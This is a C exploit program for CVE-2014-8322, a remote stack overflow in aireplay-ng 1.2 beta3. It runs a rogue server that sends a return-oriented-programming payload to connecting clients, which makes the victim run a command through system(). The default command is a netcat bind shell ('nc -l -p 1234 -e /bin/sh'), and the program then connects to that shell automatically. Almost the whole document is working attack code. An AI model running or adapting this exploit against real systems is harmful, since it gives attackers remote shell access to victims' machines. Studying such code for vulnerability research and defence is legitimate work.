/*
* Exploit Title: Aireplay "tcp_test" Length Parameter Inconsistency
* Date: 10/3/2014
* Exploit Author: Nick Sampanis
* Vendor Homepage: http://www.aircrack-ng.org/
* Version: Aireplay-ng 1.2 beta3
* Tested on: Kali Linux 1.0.9 x64
* CVE : CVE-2014-8322
* Description: Affected option "aireplay-ng --test"
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define __packed __attribute__ ((__packed__))
struct net_hdr {
uint8_t nh_type;
uint32_t nh_len;
uint8_t nh_data[0];
}__packed;
#define POP_RDI "\xb8\x29\x40\x00\x00\x00\x00\x00"
#define POP_RBX "\x88\x92\x41\x00\x00\x00\x00\x00"
#define RPOP_RBX "\x00\x00\x00\x00\x00\x88\x92\x41"
#define MOV_TO_RDI "\xf3\x47\x41\x00\x00\x00\x00\x00"
#define COMMAND "nc -l -p 1234 -e /bin/sh\x00"
#define SYSTEM "\x50\x23\x40\x00\x00\x00\x00\x00"
#define PAD_BYTES 1304
unsigned char *exploit_init(char *command, size_t size);
int main(int argc, char *argv[])
{
struct net_hdr rh;
struct sockaddr_in server, client;
unsigned char *exploit;
socklen_t len;
size_t size;
char *command, exec[1024];
int sockfd, cl, val = 1;
printf("[+]Exploit for aireplay-ng tcp_test remote stack overflow\n");
printf("[+]Written by Nick Sampanis CVE-2014-8322\n");
if (argc == 1) {
fprintf(stderr,"[-]Usage: %s port command\n"
"[-][Default %s]\n", argv[0], COMMAND);
return -1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("[-]Socket()");
return -1;
}
memset((char *)&server, '\0', sizeof(server));
len = sizeof(server);
server.sin_addr.s_addr = 0;
server.sin_port = htons(atoi(argv[1]));
server.sin_family = AF_INET;
if (argv[2])
command = argv[2];
else
command = COMMAND;
setsockopt(sockfd, SOL_SOCKET,SO_REUSEADDR, &val, sizeof(val));
if (bind(sockfd, (struct sockaddr *)&server, sizeof(server)) == -1) {
perror("bind()");
return -1;
}
if (listen(sockfd, 5) == -1) {
perror("listen()");
return -1;
}
printf("[+]Server is waiting for connections on port %d\n", atoi(argv[1]));
if (!(size = (strlen(command)+8)*5/4*8+PAD_BYTES+sizeof(rh)))
return -1;
exploit = exploit_init(command, size);
while (1) {
if ((cl = accept(sockfd, (struct sockaddr *)&client, &len)) == -1) {
perror("[-]Accept");
return -1;
}
printf("[+]Client %s has been connected\n", inet_ntoa(client.sin_addr));
if (send(cl, exploit, size, 0) == -1) {
perror("[-]Send");
return -1;
}
if (recv(cl, &rh, sizeof(rh), 0) == -1) {
perror("[-]Recv");
return -1;
}
close(cl);
sleep(1);
if (!argv[2]) {
printf("[+]Enjoy your shell\n\n");
snprintf(exec, sizeof(exec), "nc %s %d",
inet_ntoa(client.sin_addr), atoi(argv[1]));
system(exec);
}
}
close(sockfd);
free(exploit);
return 0;
}
unsigned char *exploit_init(char *command, size_t size)
{
unsigned long DATA = 0x6265a0;
unsigned char *buffer, *exploit;
struct net_hdr nh;
register int i, j;
buffer = malloc(size);
nh.nh_type = 0x1;
nh.nh_len = htonl(size-sizeof(nh));
memcpy(buffer, &nh, sizeof(nh));
memset(buffer+sizeof(nh), 'A', PAD_BYTES);
exploit = buffer+sizeof(nh)+PAD_BYTES;
for (i = j = 0; j < strlen(command)+4; i+=5) {
memcpy(exploit+i*8, POP_RDI, 8);
memcpy(exploit+(i+1)*8, &DATA, 8);
memcpy(exploit+(i+2)*8, POP_RBX, 8);
memcpy(exploit+(i+3)*8, command+j, 8);
memcpy(exploit+(i+4)*8, MOV_TO_RDI, 8);
DATA += 4;
j += 4;
}
DATA = 0x6265a0; /*.data*/
memcpy(exploit+i*8, POP_RDI, 8);
memcpy(exploit+(i+1)*8, &DATA, 8);
memcpy(exploit+(i+2)*8, SYSTEM, 8);
return buffer;
}